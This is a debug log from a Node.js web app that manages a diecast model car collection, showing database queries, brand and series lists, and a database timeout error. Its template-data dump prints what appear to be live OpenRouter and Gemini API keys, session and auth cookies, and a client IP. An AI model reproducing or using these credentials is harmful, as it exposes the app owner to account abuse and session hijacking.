    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T06:12:35.234Z server-connect:output update: { affected: 1 }
2026-02-04T06:12:35.234Z server-connect:app Executing action step upload
2026-02-04T06:12:35.234Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T06:12:35.234Z server-connect:output upload_image: []
2026-02-04T06:12:35.234Z server-connect:app Executing action step repeat
2026-02-04T06:12:35.234Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T06:12:35.234Z server-connect:output repeat_images: []
2026-02-04T06:12:35.234Z server-connect:output condition: undefined
2026-02-04T06:12:35.495Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T06:12:35.496Z server-connect:app Executing action step identify
2026-02-04T06:12:35.496Z server-connect:app options: { provider: 'security' }
2026-02-04T06:12:35.496Z server-connect:output identity: 1
2026-02-04T06:12:35.496Z server-connect:app Executing action step restrict
2026-02-04T06:12:35.496Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:12:35.497Z server-connect:output restrict: undefined
2026-02-04T06:12:35.497Z server-connect:app Executing action step paged
2026-02-04T06:12:35.497Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T06:12:35.500Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 1,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 135,
      model_name: '23 RAM 1500 - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'E',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T06:13:07.511Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-04T06:13:07.511Z server-connect:app Executing action step identify
2026-02-04T06:13:07.511Z server-connect:app options: { provider: 'security' }
2026-02-04T06:13:07.511Z server-connect:output identity: 1
2026-02-04T06:13:07.511Z server-connect:app Executing action step restrict
2026-02-04T06:13:07.511Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:13:07.512Z server-connect:output restrict: undefined
2026-02-04T06:13:07.512Z server-connect:app Executing action step paged
2026-02-04T06:13:07.512Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-04T06:13:07.514Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 1,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      name: 'Land Rover',
      id: 117,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    }
  ]
}
2026-02-04T06:13:18.319Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-04T06:13:18.319Z server-connect:app Executing action step identify
2026-02-04T06:13:18.319Z server-connect:app options: { provider: 'security' }
2026-02-04T06:13:18.319Z server-connect:output identity: 1
2026-02-04T06:13:18.320Z server-connect:app Executing action step restrict
2026-02-04T06:13:18.320Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:13:18.320Z server-connect:output restrict: undefined
2026-02-04T06:13:18.320Z server-connect:app Executing action step paged
2026-02-04T06:13:18.320Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-04T06:13:18.322Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 1,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      name: 'GMC',
      id: 140,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    }
  ]
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-04 06:25:31' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-04 06:25:31' as DATETIME)"
}
2026-02-04T06:31:23.571Z server-connect:router Serving templateView /diecast
2026-02-04T06:31:23.572Z server-connect:app Executing action step identify
2026-02-04T06:31:23.572Z server-connect:app options: { provider: 'security' }
2026-02-04T06:31:23.572Z server-connect:output identity: 1
2026-02-04T06:31:23.572Z server-connect:app Executing action step restrict
2026-02-04T06:31:23.572Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T06:31:23.574Z server-connect:output restrict: undefined
2026-02-04T06:31:23.574Z server-connect:router Render template diecast
2026-02-04T06:31:23.574Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"556a-fnfY5Edb9IMo9GHgH8J6sRBcm4c"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"556a-fnfY5Edb9IMo9GHgH8J6sRBcm4c"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-04T06:31:23.881Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T06:31:23.885Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T06:31:23.886Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T06:31:23.886Z server-connect:app Executing action step identify
2026-02-04T06:31:23.886Z server-connect:app options: { provider: 'security' }
2026-02-04T06:31:23.886Z server-connect:output identity: 1
2026-02-04T06:31:23.886Z server-connect:app Executing action step restrict
2026-02-04T06:31:23.886Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:31:23.887Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T06:31:23.888Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-04T06:31:23.888Z server-connect:output restrict: undefined
2026-02-04T06:31:23.888Z server-connect:app Executing action step paged
2026-02-04T06:31:23.888Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T06:31:23.889Z server-connect:app Executing action step identify
2026-02-04T06:31:23.889Z server-connect:app options: { provider: 'security' }
2026-02-04T06:31:23.889Z server-connect:output identity: 1
2026-02-04T06:31:23.889Z server-connect:app Executing action step restrict
2026-02-04T06:31:23.889Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:31:23.889Z server-connect:app Executing action step identify
2026-02-04T06:31:23.889Z server-connect:app options: { provider: 'security' }
2026-02-04T06:31:23.889Z server-connect:output identity: 1
2026-02-04T06:31:23.889Z server-connect:app Executing action step restrict
2026-02-04T06:31:23.889Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:31:23.889Z server-connect:app Executing action step identify
2026-02-04T06:31:23.889Z server-connect:app options: { provider: 'security' }
2026-02-04T06:31:23.889Z server-connect:output identity: 1
2026-02-04T06:31:23.890Z server-connect:app Executing action step restrict
2026-02-04T06:31:23.890Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:31:23.891Z server-connect:app Executing action step identify
2026-02-04T06:31:23.891Z server-connect:app options: { provider: 'security' }
2026-02-04T06:31:23.891Z server-connect:output identity: 1
2026-02-04T06:31:23.891Z server-connect:app Executing action step restrict
2026-02-04T06:31:23.891Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:31:23.894Z server-connect:output restrict: undefined
2026-02-04T06:31:23.894Z server-connect:app Executing action step select
2026-02-04T06:31:23.894Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T06:31:23.894Z server-connect:output restrict: undefined
2026-02-04T06:31:23.895Z server-connect:app Executing action step select
2026-02-04T06:31:23.895Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T06:31:23.895Z server-connect:output restrict: undefined
2026-02-04T06:31:23.895Z server-connect:app Executing action step select
2026-02-04T06:31:23.895Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T06:31:23.895Z server-connect:output restrict: undefined
2026-02-04T06:31:23.895Z server-connect:app Executing action step select
2026-02-04T06:31:23.895Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T06:31:23.897Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes-Benz', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 }
]
2026-02-04T06:31:23.897Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-04T06:31:23.898Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 }
]
2026-02-04T06:31:23.899Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes-Benz' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-04T06:31:23.899Z server-connect:app Executing action step select
2026-02-04T06:31:23.899Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T06:31:23.900Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 133,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 125 },
    current: 1,
    total: 6
  },
  data: [
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 150,
      model_name: 'Dodge Charge',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-15T18:30:00.000Z',
      price: '199.00',
      brand: 'Jams Toys',
      series: 'Mainline',
      brand_id: 191,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 149,
      model_name: "Fish'd & Chip'd",
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Spider Man',
      vehicle_brand_id: 183,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 148,
      model_name: '92 Jeep Wrangler Sahara',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-22T18:30:00.000Z',
      price: '545.00',
      brand: 'Hotwheels',
